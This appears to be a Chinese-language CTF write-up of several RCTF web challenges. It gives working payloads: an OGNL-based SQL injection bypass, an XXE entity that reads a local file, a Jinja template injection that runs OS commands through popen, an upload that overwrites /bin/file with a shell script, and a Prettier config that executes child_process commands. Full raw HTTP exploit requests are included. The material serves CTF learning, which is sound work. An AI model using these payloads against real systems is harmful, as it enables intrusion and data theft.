ezbypass
"关卡"式的Java题springboot框架,首先就是绕过一个Filter
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (!this.isWhite(request) && !this.auth()) {
response.getWriter().write("auth fail");
} else {
chain.doFilter(request, response);
}
}
public boolean isWhite(ServletRequest req) {
HttpServletRequest request = (HttpServletRequest)req;
return request.getRequestURI().endsWith(".ico");
}
大致作用是检测url的末尾是不是.ico,不是的话就不允许访问。然后Controller层的路由只有一个index。所以这里要绕一下
https://www.cnblogs.com/nice0e3/p/14801884.html
然后是一个ban了单引号的sql注入,只要能查出来数据就可以进xxe部分
public String sayHello(String password, String poc, String type, String yourclasses, HttpServletResponse response) throws Exception {
if (password.length() <= 50 && password.indexOf("'") == -1) {
String username = this.userService.selectUsernameByPassword(password);
if (username != "") {
String[] classes = yourclasses.split(",", 4);
return xxe(poc, type, classes);
} else {
return "index";
}
} else {
System.out.println("not allow");
return "not allow";
}
}
public String selectByPassword(Map<String, Object> params) {
return ((SQL)((SQL)((SQL)((SQL)(new SQL()).SELECT("*")).FROM("users")).WHERE("password = '" + params.get("password") + "'")).LIMIT(1)).toString();
}
而该项目是使用mybatis框架的,mybatis框架自带了OGNL表达式,这里可以使用OGNL表达式绕过~
我们在 Mybatis 的 mapper.xml 映射文件里写 SQL 查询单个学生记录的时候是这样写的:
<select id="get" parameterType="java.lang.Long" resultType="Student"> select id, name, sex from t_student where id = #{id} </select>
其中传进来的参数 #{id} 就是使用的 OGNL 表达式。
虽然开发见到过,但真正打CTF比赛还是想不到捏QAQ
${@java.lang.Character@toString(39)}or 1=1) #
${@java.lang.Character@toString(39)}or(1=1))#
${@java.lang.Character@toString(39)}就代表单引号
再然后是XXE,编码绕过,可以参考~
payload = """
<!DOCTYPE users [<!ENTITY yeet SYSTEM "file:///flag">]>
<users><user><intro>&yeet;</intro></user></users>"""
payload = b'<?xml version="1.0" encoding="UTF-16LE" ?>' + payload.encode('UTF-16LE')
payload = base64.b64encode(payload)
print(payload)
最后
Constructor constructor = Class.forName(classes[0]).getDeclaredConstructor(Class.forName(classes[1]));
if (type.equals("string")) {
String stringpoc = new String(bytepoc);
wrappoc = constructor.newInstance(stringpoc);
} else {
wrappoc = constructor.newInstance(bytepoc);
}
inputSource = (InputSource)Class.forName(classes[2]).getDeclaredConstructor(Class.forName(classes[3])).newInstance(wrappoc);
使用ByteArrayInputStream转换为输入流,构造方法参数为byte[] ,(原来bytes[]的类叫"[B"。)
所以classes[1]填"[B",classes[2]易得InputSource,由InputSource类构造方法得classes[3]为InputStream
最后的payload
data = {
"password":"${@java.lang.Character@toString(39)}or(1=1))#",
"poc":payload,
"type":"suibianshenme",
"yourclasses":"java.io.ByteArrayInputStream,[B,org.xml.sax.InputSource,java.io.InputStream"
}
filechecker_mini
from flask import Flask, request, render_template, render_template_string
from waitress import serve
import os
import subprocess
app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'
@app.route('/', methods=['GET','POST'])
def index():
try:
if request.method == 'GET':
return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")
elif request.method == 'POST':
f = request.files['file-upload']
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)
if os.path.exists(filepath) and ".." in filepath:
return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
else:
f.save(filepath)
file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)
os.remove(filepath)
if "empty" in file_check_res or "cannot open" in file_check_res:
file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
return render_template_string(file_check_res)
except:
return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')
if __name__ == '__main__':
serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)
https://blog.zeddyu.info/2020/01/08/36c3-web/#upload-arbitrary-data
payload
#!/{{config.__class__.__init__.__globals__['os'].popen('nl /flag').read()}}
POST / HTTP/1.1
Host: 159.138.107.47:13001
Content-Length: 275
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://159.138.107.47:13001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynzkjOGR2z4VJhgSR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://159.138.107.47:13001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarynzkjOGR2z4VJhgSR
Content-Disposition: form-data; name="file-upload"; filename="1.php"
Content-Type: application/octet-stream
#!/{{config.__class__.__init__.__globals__['os'].popen('nl /flag').read()}}
------WebKitFormBoundarynzkjOGR2z4VJhgSR--
RCTF{Just_A_5mall_Tr1ck_mini1i1i1__Fl4g_Y0u_gOtt777!!!}
filechecker_plus
from flask import Flask, request, render_template, render_template_string
from waitress import serve
import os
import subprocess
app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'
@app.route('/', methods=['GET','POST'])
def index():
try:
if request.method == 'GET':
return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")
elif request.method == 'POST':
f = request.files['file-upload']
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)
if os.path.exists(filepath) and ".." in filepath:
return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
else:
f.save(filepath)
file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)
os.remove(filepath)
if "empty" in file_check_res or "cannot open" in file_check_res:
file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
return render_template('index.html', result=file_check_res)
except:
return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')
if __name__ == '__main__':
serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)
比起上一问给了root权限,可以覆盖/bin/file
POST / HTTP/1.1
Host: 159.138.110.192:23001
Content-Length: 217
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://159.138.110.192:23001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEO0FeNRYXSTn12mm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://159.138.110.192:23001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryEO0FeNRYXSTn12mm
Content-Disposition: form-data; name="file-upload"; filename="/bin/file"
Content-Type: application/octet-stream
#!/bin/sh
ls /
------WebKitFormBoundaryEO0FeNRYXSTn12mm--
filechecker_pro_max
派神的详细分析太帅啦~
https://pankas.top/2022/12/12/rctf-web/#filechecker-pro-max
Prettier Online
filepath: ".prettierrc"
parser: ".prettierrc"
parse:
- 1;module.exports = ()=> global.process.mainModule.constructor._load('child_process').execSync('ls /').toString()